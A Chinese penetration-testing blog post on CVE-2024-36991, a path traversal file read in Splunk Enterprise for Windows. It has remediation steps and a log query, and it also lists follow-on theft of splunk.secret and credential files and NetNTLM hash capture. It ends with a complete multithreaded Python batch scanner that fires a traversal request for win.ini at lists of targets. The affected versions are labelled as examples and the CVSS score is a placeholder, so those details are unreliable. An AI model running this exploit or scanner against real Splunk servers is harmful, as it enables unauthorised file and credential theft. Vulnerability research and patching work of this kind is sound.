#渗透测试#批量漏洞挖掘#Splunk Enterprise for Windows 任意文件读取漏洞( CVE-2024-36991)
免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。
目录
一、漏洞概述
二、技术原理分析
三、受影响版本
四、修复建议
五、验证方法
六、漏洞拓展影响
七、漏洞检测脚本
一、漏洞概述
- CVE编号:CVE-2024-36991
- 漏洞类型:任意文件读取 (Arbitrary File Read)
- 影响组件:Splunk Enterprise for Windows版本的Web接口
- CVSS评分:[需参考NVD/NIST官方评分,典型文件读取漏洞通常在7.0-8.0间]
二、技术原理分析
根本原因
路径遍历漏洞,攻击者通过构造恶意请求绕过路径访问限制,利用Windows文件系统特性读取未授权文件。例如:GET /splunkd/__raw/servicesNS/-/-/debug/file?path=C:\Windows\system32\drivers\etc\hosts HTTP/1.1
服务端未对
path
参数进行规范化处理,导致可读取系统文件。利用条件
- 攻击者需具备低权限账户或利用未认证接口(视具体漏洞而定)
- 目标系统运行Windows平台下的受影响Splunk版本
三、受影响版本
根据Splunk安全公告,确认受影响版本(示例):
- Splunk Enterprise 9.0.x(Windows版,低于9.0.5)
- Splunk Enterprise 8.2.x(Windows版,低于8.2.11)
四、修复建议
- 官方补丁升级
# 检查当前Splunk版本 & "$SPLUNK_HOME\bin\splunk" --version# 下载对应版本的安全更新包 # 例如9.0.x系列的修复版本为9.0.5
临时缓解措施(如无法立即升级):
- 在网络层限制对Splunk Web接口(默认8000端口)的访问范围
- 启用Splunk内置的访问控制策略,严格限制API接口权限
- 监控异常文件访问日志:
index=_internal source=*web_service.log uri=*file* (status=200 OR status=403) | stats count by clientip, path
五、验证方法
通过查询系统注册表确认补丁生效:
# Windows系统查看Splunk安装版本 Get-ItemProperty HKLM:\Software\Wow6432Node\SplunkInstaller | Select SplunkVersion
六、漏洞拓展影响
可能被利用组合攻击的场景:
- 读取
$SPLUNK_HOME\etc\passwd
获取加密凭据- 窃取
c:\ProgramData\Splunk\etc\auth\splunk.secret
密钥文件- 横向移动获取NetNTLM哈希(需配合Responder工具)
建议企业用户优先在安全测试环境验证修复方案,并同步检查所有Splunk节点(包括Search Head/Indexer/Forwarder)的版本一致性。
七、漏洞检测脚本
#!/usr/bin/env python3 """ Splunk Enterprise for Windows 任意文件读取漏洞检测工具(优化版) 功能增强: 1. 支持多线程批量检测 2. 增加HTTPS协议优先级 3. 添加结果保存功能 4. 改进漏洞特征检测 5. 支持代理配置 """import argparse import requests import sys import os from concurrent.futures import ThreadPoolExecutor, as_completed from urllib3.exceptions import InsecureRequestWarning # 禁用SSL警告 requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # 颜色配置 COLOR_CONFIG = {'RED': '\033[91m','GREEN': '\033[92m','YELLOW': '\033[93m','RESET': '\033[0m' }# 漏洞检测配置 DETECTION_CONFIG = {'timeout': 15,'max_redirects': 0,'vuln_signatures': ['[fonts]', '[extensions]', 'file://'],'path_traversal_depth': 10, # 目录遍历层级 'default_ports': [8000, 8080, 443] # 默认尝试端口 }def color_print(text, color=None):"""彩色输出封装"""if color and COLOR_CONFIG.get(color.upper()): return f"{COLOR_CONFIG[color.upper()]}{text}{COLOR_CONFIG['RESET']}"return text def construct_url(base_url):"""智能处理URL格式"""base_url = base_url.strip() if not base_url.startswith(('http://', 'https://')):for port in DETECTION_CONFIG['default_ports']:if f':{port}' in base_url:return f'https://{base_url}'return f'http://{base_url}'return base_url def check_file_read(target_url, proxies=None, timeout=None):"""执行漏洞检测核心逻辑"""headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36','Accept-Encoding': 'gzip, deflate'}# 动态构造路径遍历 traversal_path = '/C:%2e%2e' * DETECTION_CONFIG['path_traversal_depth']exploit_url = f"{target_url.rstrip('/')}/en-US/modules/messaging{traversal_path}/windows/win.ini" try:response = requests.get( exploit_url,headers=headers,verify=False,timeout=timeout or DETECTION_CONFIG['timeout'],allow_redirects=DETECTION_CONFIG['max_redirects'],proxies=proxies )# 增强特征检测 vuln_detected = all(sig in response.text for sig in DETECTION_CONFIG['vuln_signatures']) if response.status_code == 200 else False return {'url': target_url,'status': 'VULNERABLE' if vuln_detected else 'SAFE','status_code': response.status_code, 'content_length': len(response.text), 'response_sample': response.text[:100] }except requests.RequestException as e:return {'url': target_url,'error': str(e)}def process_results(results, output_file=None):"""处理并输出检测结果"""for result in results:if 'error' in result:print(f"{color_print('[!]', 'YELLOW')} {result['url']} 检测失败: {result['error']}")continue status_msg = color_print('[+] 存在漏洞', 'RED') if result['status'] == 'VULNERABLE' else '[-] 未检测到漏洞'info_msg = f"状态码: {result['status_code']} | 响应长度: {result['content_length']} | 响应摘要: {result['response_sample']}"print(f"{status_msg} - {result['url']}\n {info_msg}")if output_file:with open(output_file, 'a') as f:f.write(f"{result['url']},{result['status']}\n") def main():parser = argparse.ArgumentParser(description='Splunk Enterprise 任意文件读取漏洞检测工具')parser.add_argument('-u', '--url', help='单个目标URL')parser.add_argument('-f', '--file', help='包含多个URL的文件')parser.add_argument('-t', '--threads', type=int, default=5, help='并发线程数 (默认: 5)')parser.add_argument('-o', '--output', help='结果输出文件')parser.add_argument('--timeout', type=int, default=15, help='请求超时时间 (默认: 15秒)')parser.add_argument('--proxy', help='使用代理 (示例: http://127.0.0.1:8080)')args = parser.parse_args() # 参数校验 if not args.url and not args.file: parser.error(' 必须指定 -u/--url 或 -f/--file 参数')# 配置代理 proxies = {'http': args.proxy, 'https': args.proxy} if args.proxy else None # 准备目标列表 targets = []if args.url: targets.append(construct_url(args.url)) if args.file: if not os.path.exists(args.file): sys.exit(color_print(f" 错误: 文件 {args.file} 不存在", 'RED'))with open(args.file, 'r') as f:targets.extend([construct_url(line) for line in f if line.strip() and not line.startswith('#')]) # 执行并发检测 results = []with ThreadPoolExecutor(max_workers=args.threads) as executor:futures = {executor.submit(check_file_read, url, proxies, args.timeout): url for url in targets}for future in as_completed(futures):results.append(future.result()) # 处理结果输出 process_results(results, args.output) if __name__ == '__main__':main()
相关文章:

#渗透测试#批量漏洞挖掘#Splunk Enterprise for Windows 任意文件读取漏洞( CVE-2024-36991)
免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停…...
苹果公司宣布正式开源 Xcode 引擎 Swift Build145
2025 年 2 月 1 日,苹果公司宣布正式开源 Xcode 引擎 Swift Build145。 Swift 是苹果公司于 2014 年推出的一种开源编程语言,用于开发 iOS、iPadOS、macOS、watchOS 和 tvOS 等平台的应用程序。 发展历程 诞生:2014 年,苹果在全球…...

7.list
本篇博客梳理C的STL中的list容器 一、list的基本结构与使用 1.list的介绍 list的底层是带头循环双向链表 带头:含哨兵位 循环:尾节点的next指针指向哨兵位 双向:每个节点具有两个指针域,一个指针指向前一个结点 2…...

Qt+海康虚拟相机的调试
做机器视觉项目的时候,在没有相机或需要把现场采集的图片在本地跑一下做测试时,可以使用海康的虚拟相机调试。以下是设置步骤: 1.安装好海康MVS软件,在菜单栏->工具选择虚拟相机工具,如下图: 2.打开虚拟…...
数据库基础练习4(有关索引,视图完整解答)
建立需要的表 学生表 mysql> create table studnet(sno int primary key auto_increment,sname varchar(30) not null unique,ssex varchar(2) check (ssex男 or ssex女) not null ,sage int not null,sdept varchar(10) default 计算机 not null); Query OK, 0 rows affe…...

实操给触摸一体机接入大模型语音交互
本文以CSK6 大模型开发板串口触摸屏为例,实操讲解触摸一体机怎样快速增加大模型语音交互功能,使用户能够通过语音在一体机上查询信息、获取智能回答及实现更多互动功能等。 在本文方案中通过CSK6大模型语音开发板采集用户语音,将语音数据传输…...
Excel中对单列数据进行去重筛选
在Excel中对单列数据进行去重筛选,可以按照以下步骤操作: 方法一:使用“删除重复项”功能 选择数据列:点击要处理的列头(如A列)。打开“删除重复项”: Excel 2007及以后版本:点击“…...
K8s —基础指南(K8s - Basic Guide)
K8s —基础指南 K8s 是云上部署容器化应用的事实标准。它作为容器的强大编排器,管理容器重启、负载均衡等任务。 理解 Kubernetes 架构 Kubernetes 的关键功能之一是为访问 Pod 提供稳定的端点,尽管 Pod 本身是短暂的。Kubernetes 服务有效地弥补了这…...
ABAP开发中的前导零和末尾零
前导零和末尾零是指分别出现在数字序列中第一个非零数字之前和最后一个非零数字之后的任何零数字。 关于前导 0 在 SAP 系统中,大多数字母数字字段在数据库中存储时都带前导零,完全占用字段的定义长度。但是,当字段显示给最终用户时&#x…...

Baklib赋能数字内容体验个性化推荐提升用户体验的未来之路
内容概要 随着数字化时代的不断发展,用户对内容消费的需求日益多样化,个性化推荐成为提升用户体验的重要手段。Baklib以其先进的技术手段,在数字内容领域内积极推动个性化推荐的实施,从而满足用户在信息获取和内容消费中的独特需…...

关于Redis的持久化
目录 RDB 1.手动触发 2.自动触发 AOF aof的重写机制 Redis虽然是一个内存数据库,但是也是可以将数据存储到硬盘中的,也就是持久化。硬盘的数据是在Redis重启的时候,用来恢复内存中的数据的,即对数据做了一个备份。Redis实现持…...

【C语言标准库函数】指数与对数函数:exp(), log(), log10()
目录 一、头文件 二、函数简介 2.1. exp(double x) 2.2. log(double x) 2.3. log10(double x) 三、函数实现(概念性) 3.1. exp(double x) 的模拟实现 3.2. log(double x) 和 log10(double x) 的模拟实现 四、注意事项 4.1. exp(double x) 的注…...
2024美团春招硬件开发笔试真题及答案解析
目录 一、选择题 1、在 Linux,有一个名为 file 的文件,内容如下所示: 2、在 Linux 中,关于虚拟内存相关的说法正确的是() 3、AT89S52单片机中,在外部中断响应的期间,中断请求标志位查询占用了()。 4、下列关于8051单片机的结构与功能,说法不正确的是()? 5、…...
Python内置函数map(), list(), len(), iter(), hex(), hash()的详细解析,包括功能、语法、示例及注意事项
1. map(function, iterable, ...) 功能:对可迭代对象中的每个元素应用指定函数,返回一个迭代器。 参数: function:要执行的函数(可以是lambda表达式)。 iterable:一个或多个可迭代对象&#x…...

[LVGL] 在VC_MFC中移植LVGL
前言: 0. 在MFC中开发LVGL的优点是可以用多个Window界面做辅助扩展【类似GUIguider】 1.本文基于VC2022-MFC单文档框架移植lvgl8 2. gitee上下载lvgl8.3 源码,并将其文件夹改名为lvgl lvgl: LVGL 是一个开源图形库,提供您创建具有易于使用…...

MySQL视图索引操作
创建学生表; mysql> create table Student(-> Sno int primary key auto_increment,-> Sname varchar(30) not null unique,-> Ssex char(2) check (Ssex男 or Ssex女) not null,-> Sage int not null,-> Sdept varchar(10) default 计算机 not …...

一次奇怪的空指针问题分析:事务、死锁与隐式回滚
最近我们在排查一个诡异的 空指针异常,整个分析过程可以说是跌宕起伏,最终的结论也颇具隐蔽性。今天就把这个问题分享出来,希望对大家有所帮助。 问题现象 在系统中,我们有 单据 B,它通过一个 关联 ID 字段与 上级单…...

解决aspose将Excel转成PDF中文变成方框的乱码问题
原文网址:解决aspose将Excel转成PDF中文变成方框的乱码问题_IT利刃出鞘的博客-CSDN博客 简介 本文介绍如何解决aspose将Excel转成PDF中文变成方框的乱码问题。 问题描述 用aspose将word、excel等转成PDF后,英文展示正常,但中文全部变成了…...

.net8.0使用EF连接sqlite数据库及使用Gridify实现查询的简易实现
EF Core EF Core 是一个流行的对象关系映射(ORM)框架,它简化了与数据库的交互,提供了一个高效、灵活且易于使用的数据访问层。 Entity Framework (EF) Core 是轻量化、可扩展、开源和跨平台版的常用 Entity Framework 数据访问技…...

2025.2.5——五、[网鼎杯 2020 青龙组]AreUSerialz
题目来源:BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 一、打开靶机,整理信息 直接得到一串php代码,根据题目可以看到还有序列化 二、解题思路 step 1:代码审计 <?phpinclude("flag.php");highlight_file(__FILE__…...

深入剖析AI大模型:大模型时代的 Prompt 工程全解析
今天聊的内容,我认为是AI开发里面非常重要的内容。它在AI开发里无处不在,当你对 AI 助手说 "用李白的风格写一首关于人工智能的诗",或者让翻译模型 "将这段合同翻译成商务日语" 时,输入的这句话就是 Prompt。…...

如何在看板中体现优先级变化
在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...

UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...

SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)
上一章用到了V2 的概念,其实 Fiori当中还有 V4,咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务),代理中间件(ui5-middleware-simpleproxy)-CSDN博客…...
LeetCode - 199. 二叉树的右视图
题目 199. 二叉树的右视图 - 力扣(LeetCode) 思路 右视图是指从树的右侧看,对于每一层,只能看到该层最右边的节点。实现思路是: 使用深度优先搜索(DFS)按照"根-右-左"的顺序遍历树记录每个节点的深度对于…...
SQL慢可能是触发了ring buffer
简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...

【MATLAB代码】基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),附源代码|订阅专栏后可直接查看
文章所述的代码实现了基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),针对传感器观测数据中存在的脉冲型异常噪声问题,通过非线性加权机制提升滤波器的抗干扰能力。代码通过对比传统KF与MCC-KF在含异常值场景下的表现,验证了后者在状态估计鲁棒性方面的显著优…...
【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案
目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后,迭代器会失效,因为顺序迭代器在内存中是连续存储的,元素删除后,后续元素会前移。 但一些场景中,我们又需要在执行删除操作…...